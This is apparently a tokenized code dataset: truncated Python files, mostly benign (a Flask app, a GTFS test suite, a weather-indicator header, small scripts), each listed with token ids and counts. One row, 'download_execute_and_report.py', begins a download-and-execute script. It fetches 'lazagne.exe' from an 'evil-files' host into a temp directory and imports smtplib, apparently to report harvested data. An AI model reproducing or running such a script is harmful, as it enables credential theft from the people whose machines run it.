content
stringlengths
1
1.04M
input_ids
listlengths
1
774k
ratio_char_token
float64
0.38
22.9
token_count
int64
1
774k
from RumourEval2019Models.CLEARumor.src.dataset import get_conversations_from_archive from src.feature_extractor import FeatureExtractor from itertools import chain from RumourEval2019Models.CLEARumor.src.dataset import load_posts, \ load_sdcq_instances, load_verif_instances if __name__ == '__main__': feature_...
[ 6738, 25463, 454, 36, 2100, 23344, 5841, 1424, 13, 29931, 1503, 388, 273, 13, 10677, 13, 19608, 292, 316, 1330, 651, 62, 1102, 690, 602, 62, 6738, 62, 17474, 198, 6738, 12351, 13, 30053, 62, 2302, 40450, 1330, 27018, 11627, 40450, 198...
2.5025
400
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # # This file is part of my-weather-indicator # # Copyright (c) 2012 Lorenzo Carbonell Cerezo <a.k.a. atareao> # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal #...
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 18, 198, 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 2, 198, 2, 770, 2393, 318, 636, 286, 616, 12, 23563, 12, 521, 26407, 198, 2, 198, 2, 15069, 357, 66, 8, 2321,...
2.426393
1,705
from .base import Predicate
[ 6738, 764, 8692, 1330, 14322, 5344, 628 ]
4.142857
7
# DEPRICATED from struct import unpack from node import Node from chunk import Chunk from texlist import Texlist from address import section_addresses from address import rawaddress from address import virtaddress from helpers import verify_file_arg_b from helpers import verify_file_arg_o
[ 2, 5550, 4805, 2149, 11617, 201, 198, 201, 198, 6738, 2878, 1330, 555, 8002, 201, 198, 6738, 10139, 1330, 19081, 201, 198, 6738, 16058, 1330, 609, 2954, 201, 198, 6738, 48659, 4868, 1330, 3567, 4868, 201, 198, 6738, 2209, 1330, 2665, ...
3.626506
83
import sys sys.path.insert(0, 'mako.zip') sys.path.insert(0, 'cherrypy.zip') import re from cherrypy import tools from mako.template import Template from mako.lookup import TemplateLookup first_cap_re = re.compile('(.)([A-Z][a-z]+)') all_cap_re = re.compile('([a-z0-9])([A-Z])')
[ 11748, 25064, 198, 17597, 13, 6978, 13, 28463, 7, 15, 11, 705, 76, 25496, 13, 13344, 11537, 198, 17597, 13, 6978, 13, 28463, 7, 15, 11, 705, 2044, 563, 9078, 13, 13344, 11537, 220, 220, 198, 11748, 302, 198, 198, 6738, 23612, 9078, ...
2.411765
119
from flask import Flask, jsonify, request, render_template, flash, redirect, url_for from flask_cors import CORS import pandas as pd import pickle import numpy as np from PIL import Image import os from werkzeug.utils import secure_filename from skimage import io, transform # import matplotlib.pyplot as plt # configu...
[ 6738, 42903, 1330, 46947, 11, 33918, 1958, 11, 2581, 11, 8543, 62, 28243, 11, 7644, 11, 18941, 11, 19016, 62, 1640, 198, 6738, 42903, 62, 66, 669, 1330, 327, 20673, 198, 11748, 19798, 292, 355, 279, 67, 198, 11748, 2298, 293, 198, 1...
2.640367
1,090
from setuptools import setup import sys extra = {} if sys.version_info >= (3,): extra['use_2to3'] = True setup( name="mr-monkeypatch", version="0.0.3", license='http://www.apache.org/licenses/LICENSE-2.0', description="A monkey patching library for python", author='phoeagon', author_email=...
[ 6738, 900, 37623, 10141, 1330, 9058, 198, 11748, 25064, 198, 198, 26086, 796, 23884, 198, 361, 25064, 13, 9641, 62, 10951, 18189, 357, 18, 11, 2599, 198, 220, 220, 220, 3131, 17816, 1904, 62, 17, 1462, 18, 20520, 796, 6407, 198, 198, ...
2.71855
469
from datetime import datetime from django.contrib.auth.decorators import login_required from django.contrib.auth.mixins import LoginRequiredMixin from django.shortcuts import render, HttpResponseRedirect, reverse, redirect from django.views.decorators.http import require_POST from django.views.generic.edit import Form...
[ 6738, 4818, 8079, 1330, 4818, 8079, 198, 198, 6738, 42625, 14208, 13, 3642, 822, 13, 18439, 13, 12501, 273, 2024, 1330, 17594, 62, 35827, 198, 6738, 42625, 14208, 13, 3642, 822, 13, 18439, 13, 19816, 1040, 1330, 23093, 37374, 35608, 259...
2.925
720
# Copyright (c) 2016 OpenStack Foundation # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless ...
[ 2, 15069, 357, 66, 8, 1584, 4946, 25896, 5693, 198, 2, 1439, 6923, 33876, 13, 198, 2, 198, 2, 220, 220, 220, 49962, 739, 262, 24843, 13789, 11, 10628, 362, 13, 15, 357, 1169, 366, 34156, 15341, 345, 743, 198, 2, 220, 220, 220, 4...
3.481752
274
# Copyright 2017 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. """Standalone Python script to untar an archive. Intended to be used by 'tar' recipe module internally. Should not be used elsewhere. """ import json import...
[ 2, 15069, 2177, 383, 18255, 1505, 46665, 13, 1439, 2489, 10395, 13, 198, 2, 5765, 286, 428, 2723, 2438, 318, 21825, 416, 257, 347, 10305, 12, 7635, 5964, 326, 460, 307, 198, 2, 1043, 287, 262, 38559, 24290, 2393, 13, 198, 198, 37811...
2.989562
479
# Import the standard modules import sqlite3 # Import installed modules from matplotlib import pyplot as plt import pandas as pd import numpy as np #%% # Connect to the comet database. This database has been created in tutorial # part 7, however, due to its small size the database is uploaded on GitHub con = sqlite3...
[ 2, 17267, 262, 3210, 13103, 198, 11748, 44161, 578, 18, 198, 198, 2, 17267, 6589, 13103, 198, 6738, 2603, 29487, 8019, 1330, 12972, 29487, 355, 458, 83, 198, 11748, 19798, 292, 355, 279, 67, 198, 11748, 299, 32152, 355, 45941, 198, 19...
2.638689
2,228
""" Copyright 2020 The OneFlow Authors. All rights reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agr...
[ 37811, 198, 15269, 12131, 383, 1881, 37535, 46665, 13, 1439, 2489, 10395, 13, 198, 198, 26656, 15385, 739, 262, 24843, 13789, 11, 10628, 362, 13, 15, 357, 1169, 366, 34156, 15341, 198, 5832, 743, 407, 779, 428, 2393, 2845, 287, 11846, ...
2.994135
682
from __future__ import absolute_import import datetime import re from chat_unifier import models from chat_unifier.parsers.pidgin import html_reader _TITLE_PATTERN = re.compile( r'^Conversation with (?P<remote_username>.+) at (?P<start_date>\d{1,2}/\d{1,2}/\d{4}) (?P<start_time>\d{1,2}:\d{1,2}:\d{1,2}) (?P<am_pm...
[ 6738, 11593, 37443, 834, 1330, 4112, 62, 11748, 198, 198, 11748, 4818, 8079, 198, 11748, 302, 198, 198, 6738, 8537, 62, 403, 7483, 1330, 4981, 198, 6738, 8537, 62, 403, 7483, 13, 79, 945, 364, 13, 35317, 1655, 1330, 27711, 62, 46862, ...
2.174157
178
# -*- coding: utf-8 -*- """ setup helpers for libev. """ from __future__ import print_function, absolute_import, division import sys import os.path from _setuputils import Extension from _setuputils import system from _setuputils import quoted_dep_abspath from _setuputils import WIN from _setuputils import make_uni...
[ 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 37811, 198, 40406, 49385, 329, 9195, 1990, 13, 198, 37811, 198, 198, 6738, 11593, 37443, 834, 1330, 3601, 62, 8818, 11, 4112, 62, 11748, 11, 7297, 198, 198, 11748, 25064...
2.124088
1,233
# Copyright (C) 2021 Open Source Robotics Foundation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law...
[ 2, 15069, 357, 34, 8, 33448, 4946, 8090, 47061, 5693, 198, 2, 198, 2, 49962, 739, 262, 24843, 13789, 11, 10628, 362, 13, 15, 357, 1169, 366, 34156, 15341, 198, 2, 345, 743, 407, 779, 428, 2393, 2845, 287, 11846, 351, 262, 13789, 1...
3.655814
215
from uuid import uuid4 from ..api.test_event_source import create_event_source from ..utils import Endpoint endpoint = Endpoint()
[ 6738, 334, 27112, 1330, 334, 27112, 19, 198, 6738, 11485, 15042, 13, 9288, 62, 15596, 62, 10459, 1330, 2251, 62, 15596, 62, 10459, 198, 6738, 11485, 26791, 1330, 5268, 4122, 198, 198, 437, 4122, 796, 5268, 4122, 3419, 628 ]
3.384615
39
from linebot.models import *
[ 6738, 1627, 13645, 13, 27530, 1330, 1635 ]
4
7
from enum import Enum, auto # NOTE: This queries are meant to supervise the PICR netwrok during training. # NOTE: We currently remove all the training codes from the released CPF. # NOTE: Thus ContactQueries and all the methods that are related to it, are not avaliable.
[ 6738, 33829, 1330, 2039, 388, 11, 8295, 628, 198, 198, 2, 24550, 25, 770, 20743, 389, 4001, 284, 29745, 786, 262, 350, 2149, 49, 2010, 86, 305, 74, 1141, 3047, 13, 198, 2, 24550, 25, 775, 3058, 4781, 477, 262, 3047, 12416, 422, 26...
3.733333
75
from itertools import product import pytest import torch from torch_sparse import SparseTensor from .utils import grad_dtypes, devices @pytest.mark.parametrize('dtype,device', product(grad_dtypes, devices))
[ 6738, 340, 861, 10141, 1330, 1720, 198, 198, 11748, 12972, 9288, 198, 11748, 28034, 198, 6738, 28034, 62, 82, 29572, 1330, 1338, 17208, 51, 22854, 198, 198, 6738, 764, 26791, 1330, 3915, 62, 67, 19199, 11, 4410, 628, 198, 31, 9078, 92...
3.246154
65
import pygame from pygame.locals import * from enum import Enum X = 0 Y = 1 groundPos = 450 # global temporary variable (useless once collision is implemented) ; might use this for a global death barrier (below screen)
[ 11748, 12972, 6057, 201, 198, 6738, 12972, 6057, 13, 17946, 874, 1330, 1635, 201, 198, 6738, 33829, 1330, 2039, 388, 201, 198, 201, 198, 55, 796, 657, 201, 198, 56, 796, 352, 201, 198, 2833, 21604, 796, 18523, 1303, 3298, 8584, 7885, ...
3.492308
65
from pylab import * import scipy.signal as signal numtaps = 201 # number of coeffs #cut off is the normalised cut off in terms of nqy # window is the function # options = boxcar, triang, blackman, hamming, hann, bartlett, flattop, parzen, bohman, blackmanharris, nuttall, barthann, kaiser (needs beta), gaussian (nee...
[ 6738, 279, 2645, 397, 1330, 1635, 198, 11748, 629, 541, 88, 13, 12683, 282, 355, 6737, 628, 198, 22510, 83, 1686, 796, 580, 1303, 1271, 286, 763, 14822, 82, 198, 2, 8968, 572, 318, 262, 3487, 1417, 2005, 572, 287, 2846, 286, 299, ...
2.966346
208
'''https://leetcode.com/problems/add-two-numbers/''' # Definition for singly-linked list.
[ 7061, 6, 5450, 1378, 293, 316, 8189, 13, 785, 14, 1676, 22143, 14, 2860, 12, 11545, 12, 77, 17024, 14, 7061, 6, 198, 198, 2, 30396, 329, 1702, 306, 12, 25614, 1351, 13, 198, 220, 220, 220, 220, 220, 220, 220, 220 ]
2.357143
42
""" Unit tests for bipartite edgelists. """ import pytest import io import tempfile import os import networkx as nx from networkx.testing import (assert_edges_equal, assert_nodes_equal, assert_graphs_equal) from networkx.algorithms import bipartite
[ 37811, 198, 220, 220, 220, 11801, 5254, 329, 14141, 433, 578, 1225, 25280, 1023, 13, 198, 37811, 198, 11748, 12972, 9288, 198, 11748, 33245, 198, 11748, 20218, 7753, 198, 11748, 28686, 198, 198, 11748, 3127, 87, 355, 299, 87, 198, 6738,...
2.567568
111
# Imports import os import shutil import tempfile from IPython.display import display from copy import copy from pyspark import SparkContext from pyspark.sql import SQLContext from pyspark.sql.functions import * from pyspark.sql.types import * from .spark_config import app_name, path_pkg from .spark_config import spa...
[ 2, 1846, 3742, 198, 198, 11748, 28686, 198, 11748, 4423, 346, 198, 11748, 20218, 7753, 198, 6738, 6101, 7535, 13, 13812, 1330, 3359, 198, 6738, 4866, 1330, 4866, 198, 6738, 279, 893, 20928, 1330, 17732, 21947, 198, 6738, 279, 893, 20928...
2.700161
1,244
import logging import sys import argparse logging.basicConfig(level=logging.INFO) logger = logging.getLogger(__name__) def index_of_closing_parenthesis(words, start, left_enc ='(', right_enc =')'): """Returns index of the closing parenthesis of the parenthesis indicated by start.""" num_opened = 1 for i ...
[ 11748, 18931, 198, 11748, 25064, 198, 11748, 1822, 29572, 198, 198, 6404, 2667, 13, 35487, 16934, 7, 5715, 28, 6404, 2667, 13, 10778, 8, 198, 6404, 1362, 796, 18931, 13, 1136, 11187, 1362, 7, 834, 3672, 834, 8, 628, 198, 4299, 6376, ...
2.438554
2,075
# Generated by Django 2.2.2 on 2019-07-24 13:06 from django.db import migrations, models
[ 2, 2980, 515, 416, 37770, 362, 13, 17, 13, 17, 319, 13130, 12, 2998, 12, 1731, 1511, 25, 3312, 198, 198, 6738, 42625, 14208, 13, 9945, 1330, 15720, 602, 11, 4981, 628 ]
2.84375
32
# cp download_execute_and_report.py /var/www/html/evil-files # service apache2 start # http://10.0.2.13/evil-files/ import requests import subprocess import smtplib import re import os import tempfile temp_directory = tempfile.gettempdir() os.chdir(temp_directory) download('http://10.0.2.13/evil-files/lazagne.exe'...
[ 2, 31396, 4321, 62, 41049, 62, 392, 62, 13116, 13, 9078, 1220, 7785, 14, 2503, 14, 6494, 14, 23542, 12, 16624, 198, 2, 2139, 2471, 4891, 17, 923, 198, 2, 2638, 1378, 940, 13, 15, 13, 17, 13, 1485, 14, 23542, 12, 16624, 14, 198, ...
2.623656
186
import pytest from pandas.util.testing import assert_frame_equal from .context import gtfstk, slow, HAS_GEOPANDAS, DATA_DIR, cairns, cairns_shapeless from gtfstk import * if HAS_GEOPANDAS: from geopandas import GeoDataFrame @pytest.mark.skipif(not HAS_GEOPANDAS, reason="Requires GeoPandas") @pytest.mark.skipi...
[ 11748, 12972, 9288, 198, 198, 6738, 19798, 292, 13, 22602, 13, 33407, 1330, 6818, 62, 14535, 62, 40496, 198, 198, 6738, 764, 22866, 1330, 308, 27110, 301, 74, 11, 3105, 11, 33930, 62, 8264, 3185, 6981, 1921, 11, 42865, 62, 34720, 11, ...
2.720497
161
""" Tests for GibbsEntrySet. """ import pytest from pymatgen.analysis.phase_diagram import PhaseDiagram from rxn_network.entries.entry_set import GibbsEntrySet @pytest.mark.parametrize( "e_above_hull, expected_phases", [ ( 0.030, { "Mn", "Mn2O3"...
[ 37811, 30307, 329, 41071, 30150, 7248, 13, 37227, 198, 11748, 12972, 9288, 198, 6738, 279, 4948, 265, 5235, 13, 20930, 13, 40715, 62, 10989, 6713, 1330, 18983, 18683, 6713, 198, 198, 6738, 374, 87, 77, 62, 27349, 13, 298, 1678, 13, 13...
1.271879
857
import tensorflow as tf model = tf.keras.Sequential([ tf.keras.applications.resnet_v2.ResNet50V2(weights=None, input_shape=(32, 32, 3), include_top=False), tf.keras.layers.GlobalAveragePooling2D(), tf.keras.layers.Dense(1000, activation='softmax') ]) BATCH_SIZE = 16 train_loss = tf.keras...
[ 11748, 11192, 273, 11125, 355, 48700, 628, 198, 19849, 796, 48700, 13, 6122, 292, 13, 44015, 1843, 26933, 198, 220, 220, 220, 220, 220, 220, 220, 48700, 13, 6122, 292, 13, 1324, 677, 602, 13, 411, 3262, 62, 85, 17, 13, 4965, 7934, ...
2.170644
838
#!/usr/bin/env python3 # vim: set fileencoding=utf-8: """Normalize file and add/update the language list at the bottom of all CC4 legalcode files. """ # Copyright 2016, 2017 Creative Commons # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License...
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 18, 198, 2, 43907, 25, 900, 2393, 12685, 7656, 28, 40477, 12, 23, 25, 198, 198, 37811, 26447, 1096, 2393, 290, 751, 14, 19119, 262, 3303, 1351, 379, 262, 4220, 286, 477, 12624, 19, 198, ...
2.109734
8,393
import os, glob, shutil, traceback import PIL_Helper TYPE, TITLE, COLOR, VALUE, FLAVOR = range(5) DIRECTORY = "BaBOC" PAGE_WIDTH = 3 PAGE_HEIGHT = 3 TOTAL_CARDS = PAGE_WIDTH*PAGE_HEIGHT workspace_path = os.path.dirname("workspace") card_set = os.path.dirname("deck.cards") CardPath = "BaBOC/cards/" ResourcePath = "...
[ 11748, 28686, 11, 15095, 11, 4423, 346, 11, 12854, 1891, 198, 11748, 350, 4146, 62, 47429, 198, 198, 25216, 11, 37977, 2538, 11, 20444, 1581, 11, 26173, 8924, 11, 9977, 10116, 1581, 796, 2837, 7, 20, 8, 198, 17931, 23988, 15513, 796, ...
2.365609
1,198
# Copyright The PyTorch Lightning team. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to i...
[ 2, 15069, 383, 9485, 15884, 354, 12469, 1074, 13, 198, 2, 198, 2, 49962, 739, 262, 24843, 13789, 11, 10628, 362, 13, 15, 357, 1169, 366, 34156, 15341, 198, 2, 345, 743, 407, 779, 428, 2393, 2845, 287, 11846, 351, 262, 13789, 13, 1...
3.903846
208
import numpy as np from sympy import var, Lambda, exp, log, sin, cos, tan, sqrt, diff, solve ''' x = [0, 10, 20, 30, 50] y1 = [50.8, 86.2, 136, 72.8, 51] y2 = [113.6, 144.5, 185, 171.2, 95.3] y = np.array(y2) - np.array(y1) y1 = Integrais(1, 1, 1, pts=(x[3:], y[3:])) print(y1.num_trapezio()) y2...
[ 11748, 299, 32152, 355, 45941, 198, 6738, 10558, 88, 1330, 1401, 11, 21114, 6814, 11, 1033, 11, 2604, 11, 7813, 11, 8615, 11, 25706, 11, 19862, 17034, 11, 814, 11, 8494, 198, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, ...
1.772908
251
# -*- coding: utf-8 -*- from __future__ import absolute_import from __future__ import division from __future__ import print_function from __future__ import unicode_literals import logging from .record import Record logger = logging.getLogger(__name__) # Module API
[ 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 6738, 11593, 37443, 834, 1330, 4112, 62, 11748, 198, 6738, 11593, 37443, 834, 1330, 7297, 198, 6738, 11593, 37443, 834, 1330, 3601, 62, 8818, 198, 6738, 11593, 37443, 834,...
3.392405
79
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Mon Oct 8 15:00:56 2018 @author: gaurav """ w1 = 'थव' word = 'का' for i in word: print(i) word[1] new = w1+word[1] print(new)
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 18, 198, 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 37811, 198, 41972, 319, 2892, 2556, 220, 807, 1315, 25, 405, 25, 3980, 2864, 198, 198, 31, 9800, 25, 308, 2899, ...
1.87037
108
import unittest import os import zserio from testutils import getZserioApi, getApiDir
[ 11748, 555, 715, 395, 198, 11748, 28686, 198, 11748, 1976, 2655, 952, 198, 198, 6738, 1332, 26791, 1330, 651, 57, 2655, 952, 32, 14415, 11, 651, 32, 14415, 35277, 198 ]
2.9
30
from django.test import TestCase from django.shortcuts import resolve_url as r from conceptus.core.forms import StoreModelForm from conceptus.core.models import Store
[ 6738, 42625, 14208, 13, 9288, 1330, 6208, 20448, 198, 6738, 42625, 14208, 13, 19509, 23779, 1330, 10568, 62, 6371, 355, 374, 198, 198, 6738, 3721, 385, 13, 7295, 13, 23914, 1330, 9363, 17633, 8479, 198, 6738, 3721, 385, 13, 7295, 13, ...
3.755556
45
import requests class ModioClient(object): """ A REST client for http://mod.io, hiding the ugly http requests behind a nice interface :) """ HEADERS = { 'Accept': 'application/json' } BASE_URL = "https://api.mod.io/v1" @staticmethod
[ 11748, 7007, 628, 198, 4871, 3401, 952, 11792, 7, 15252, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 317, 30617, 5456, 329, 2638, 1378, 4666, 13, 952, 11, 11816, 262, 13400, 2638, 7007, 2157, 257, 3621, 7071, 14373, 198, 220,...
2.673077
104
#!/usr/bin/python3 import sys,os,re sys.path.append( "../lib" ) sys.path.append( "./lib" ) from Controller.message import * from Controller.local import * import unittest from pprint import pprint
[ 2, 48443, 14629, 14, 8800, 14, 29412, 18, 198, 198, 11748, 25064, 11, 418, 11, 260, 198, 17597, 13, 6978, 13, 33295, 7, 366, 40720, 8019, 1, 1267, 198, 17597, 13, 6978, 13, 33295, 7, 366, 19571, 8019, 1, 1267, 198, 198, 6738, 2274...
2.6375
80
expected_output = { "SRTE_POL_1": { "name": "SRTE_POL_1", "color": 1, "end_point": "4.4.4.4", "owners": "CLI", "status": { "admin": "down", "operational": { "state": "down", "time_for_state": "00:00:06", ...
[ 40319, 62, 22915, 796, 1391, 198, 220, 220, 220, 366, 12562, 9328, 62, 45472, 62, 16, 1298, 1391, 198, 220, 220, 220, 220, 220, 220, 220, 366, 3672, 1298, 366, 12562, 9328, 62, 45472, 62, 16, 1600, 198, 220, 220, 220, 220, 220, 22...
1.407355
707
# Generated by Django 2.2.26 on 2022-02-25 16:28 from django.db import migrations, models
[ 2, 2980, 515, 416, 37770, 362, 13, 17, 13, 2075, 319, 33160, 12, 2999, 12, 1495, 1467, 25, 2078, 198, 198, 6738, 42625, 14208, 13, 9945, 1330, 15720, 602, 11, 4981, 628 ]
2.875
32
# 171 # price_list = [32100, 32150, 32000, 32500] # for i in range(0, 4): # print(price_list[i]) # 172 # price_list = [32100, 32150, 32000, 32500] # # for i in range(0, 4): # print(i, price_list[i]) # 173 # price_list = [32100, 32150, 32000, 32500] # # for i in range(0, 4): # print(3-i, price_list[i]) # ...
[ 2, 28369, 198, 2, 2756, 62, 4868, 796, 685, 36453, 405, 11, 39595, 1120, 11, 3933, 830, 11, 29524, 405, 60, 198, 2, 329, 1312, 287, 2837, 7, 15, 11, 604, 2599, 198, 2, 220, 220, 220, 220, 3601, 7, 20888, 62, 4868, 58, 72, 1296...
1.905036
695
#!/usr/bin/env python # -*- coding: utf-8 -*- # vim: set et sw=4 ts=4 sts=4 ff=unix fenc=utf8: # Author: Binux<roy@binux.me> # http://binux.me # Created on 2015-04-05 00:05:58 import sys import time import unittest2 as unittest from pyspider.libs import counter
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 198, 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 2, 43907, 25, 900, 2123, 1509, 28, 19, 40379, 28, 19, 39747, 28, 19, 31246, 28, 403, 844, 277, 12685, 28, 40477, 23...
2.247934
121
''' - Author: Zhengxiang (Jack) Wang - Date: 2021-08-25 - GitHub: https://github.com/jaaack-wang - About: Some handy wrapper functions for handling xml files. ''' from bs4 import BeautifulSoup as bs from lxml import etree from os.path import join def readXML(filepath): ''''Reads XML files as bs4.BeautifulSoup t...
[ 7061, 6, 198, 12, 6434, 25, 44583, 87, 15483, 357, 14295, 8, 15233, 220, 198, 12, 7536, 25, 33448, 12, 2919, 12, 1495, 198, 12, 21722, 25, 3740, 1378, 12567, 13, 785, 14, 6592, 64, 441, 12, 47562, 220, 198, 12, 7994, 25, 2773, 1...
2.455516
1,686
# Copyright 2018 The Cirq Developers # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in ...
[ 2, 15069, 2864, 383, 21239, 80, 34152, 198, 2, 198, 2, 49962, 739, 262, 24843, 13789, 11, 10628, 362, 13, 15, 357, 1169, 366, 34156, 15341, 198, 2, 345, 743, 407, 779, 428, 2393, 2845, 287, 11846, 351, 262, 13789, 13, 198, 2, 921,...
2.563353
513
from sc2 import UnitTypeId from sc2.ids.ability_id import AbilityId from .act_base import ActBase # Act of researching a technology or upgrade
[ 6738, 629, 17, 1330, 11801, 6030, 7390, 201, 198, 6738, 629, 17, 13, 2340, 13, 1799, 62, 312, 1330, 20737, 7390, 201, 198, 201, 198, 6738, 764, 529, 62, 8692, 1330, 2191, 14881, 201, 198, 201, 198, 201, 198, 2, 2191, 286, 24114, 2...
3.122449
49
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations
[ 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 6738, 11593, 37443, 834, 1330, 28000, 1098, 62, 17201, 874, 198, 198, 6738, 42625, 14208, 13, 9945, 1330, 4981, 11, 15720, 602, 628 ]
2.891892
37
import unittest from datetime import datetime import requests_mock from chartmogul import Config, Activity class ActivitiesTestCase(unittest.TestCase): """ Tests CustomerActivities """ @requests_mock.mock()
[ 11748, 555, 715, 395, 198, 6738, 4818, 8079, 1330, 4818, 8079, 198, 198, 11748, 7007, 62, 76, 735, 198, 198, 6738, 8262, 76, 519, 377, 1330, 17056, 11, 24641, 628, 198, 4871, 36270, 14402, 20448, 7, 403, 715, 395, 13, 14402, 20448, ...
2.986842
76
from rest_framework.routers import DefaultRouter from .views import ( PerfilViewSet, EnderecoViewSet, TelefoneViewSet, OutroEmailViewSet, CargoViewSet, DepartamentoViewSet ) router = DefaultRouter() router.register(r'perfis', PerfilViewSet, basename='perfil') router.register(r'enderecos', Ende...
[ 6738, 1334, 62, 30604, 13, 472, 1010, 1330, 15161, 49, 39605, 198, 198, 6738, 764, 33571, 1330, 357, 198, 220, 220, 220, 2448, 10379, 7680, 7248, 11, 198, 220, 220, 220, 5268, 567, 1073, 7680, 7248, 11, 198, 220, 220, 220, 14318, 69...
2.694915
236
"""Unit test package for bettersocket."""
[ 37811, 26453, 1332, 5301, 329, 731, 1010, 5459, 526, 15931, 198 ]
3.818182
11
import collections import numpy as np import matplotlib import matplotlib.gridspec import matplotlib.pyplot as plt import scipy.optimize from helper import load, mean8, cropsave, grendel_dir """ SUBTILE POPULATION N = 512³, nprocs = 64. Two panels (left & right, spanning two cols). Left: Subtile population at z = 0...
[ 11748, 17268, 198, 11748, 299, 32152, 355, 45941, 198, 11748, 2603, 29487, 8019, 198, 11748, 2603, 29487, 8019, 13, 2164, 2340, 43106, 198, 11748, 2603, 29487, 8019, 13, 9078, 29487, 355, 458, 83, 198, 11748, 629, 541, 88, 13, 40085, 10...
2.220811
3,229
# find the species that should be the outgroup based solely on DNA sequence data # given in "phylo seqs.txt". Assumes the sequences are already aligned. # # python 3.6 # Oct 21, 2017 from my_lib import load_list from pprint import pprint as pp seqs = load_list("phylo seqs2.txt") seqs[0] = seqs[0][1:] pp(...
[ 2, 1064, 262, 4693, 326, 815, 307, 262, 503, 8094, 1912, 9944, 319, 7446, 8379, 1366, 201, 198, 2, 1813, 287, 366, 746, 2645, 78, 33756, 82, 13, 14116, 1911, 2195, 8139, 262, 16311, 389, 1541, 19874, 13, 201, 198, 2, 201, 198, 2, ...
2.264631
393
from sqlalchemy.ext.declarative import declarative_base from sqlalchemy.orm.exc import NoResultFound from sqlalchemy.orm import ( scoped_session, sessionmaker, relationship, backref ) DBSession = scoped_session(sessionmaker()) Base = declarative_base()
[ 6738, 44161, 282, 26599, 13, 2302, 13, 32446, 283, 876, 1330, 2377, 283, 876, 62, 8692, 198, 6738, 44161, 282, 26599, 13, 579, 13, 41194, 1330, 1400, 23004, 21077, 198, 6738, 44161, 282, 26599, 13, 579, 1330, 357, 198, 220, 220, 220, ...
2.884211
95
# -*- coding: utf-8 -*- import tarfile import os from tempfile import NamedTemporaryFile import librsync from dirtools import Dir class SigVault(object): """ Helper for choosing SigVault{Reader/Writer}. """ @classmethod bltn_open = open open_vault = SigVault.open
[ 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 11748, 13422, 7753, 198, 11748, 28686, 198, 6738, 20218, 7753, 1330, 34441, 12966, 5551, 8979, 198, 198, 11748, 300, 2889, 27261, 198, 198, 6738, 13647, 10141, 1330, 36202, ...
2.876289
97
import attr import logging from .token import get_token from .caster import SlackCaster __all__ = ['SlackLogger'] log = logging.getLogger(__name__) @attr.s
[ 11748, 708, 81, 198, 11748, 18931, 198, 198, 6738, 764, 30001, 1330, 651, 62, 30001, 198, 6738, 764, 17970, 1330, 36256, 34, 1603, 198, 198, 834, 439, 834, 796, 37250, 11122, 441, 11187, 1362, 20520, 198, 198, 6404, 796, 18931, 13, 11...
2.875
56
#!/usr/bin/env python # encoding: utf-8 ''' @author: caroline @license: (C) Copyright 2019-2022, Node Supply Chain Manager Corporation Limited. @contact: caroline.fang.cc@gmail.com @software: pycharm @file: Utils.py @time: 2019/12/23 10:56 下午 @desc: ''' import xlrd import xlwt def get_real_value(value): """ ...
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 198, 2, 21004, 25, 3384, 69, 12, 23, 198, 7061, 6, 198, 31, 9800, 25, 1097, 14453, 198, 31, 43085, 25, 357, 34, 8, 15069, 13130, 12, 1238, 1828, 11, 19081, 22663, 21853, 9142, 10501, 15...
1.691114
1,418
## Import The Modules import stox import pandas as pd stock_list = ['FB','AAPL','AMZN','NFLX','GOOG'] ## List Of Stocks You Would Want To Buy number_of_stocks = len(stock_list) print(number_of_stocks) x = 0 starting_cash = 10000 ## Amount Of Money In Trading Account current_cash = starting_cash percent_to_spend = 5 ...
[ 2235, 17267, 383, 3401, 5028, 198, 11748, 336, 1140, 198, 11748, 19798, 292, 355, 279, 67, 198, 198, 13578, 62, 4868, 796, 37250, 26001, 41707, 32, 2969, 43, 41707, 2390, 57, 45, 41707, 32078, 55, 41707, 38, 6684, 38, 20520, 22492, 73...
2.128283
990
# Using Filter Func # It will filter numer which is less than zero number_list = range(-5, 5) less_than_zero = list(filter(lambda x:x<0, number_list)) print(less_than_zero)
[ 2, 8554, 25853, 11138, 66, 198, 2, 632, 481, 8106, 5470, 543, 318, 1342, 621, 6632, 198, 17618, 62, 4868, 796, 2837, 32590, 20, 11, 642, 8, 198, 1203, 62, 14813, 62, 22570, 796, 1351, 7, 24455, 7, 50033, 2124, 25, 87, 27, 15, 11...
2.965517
58
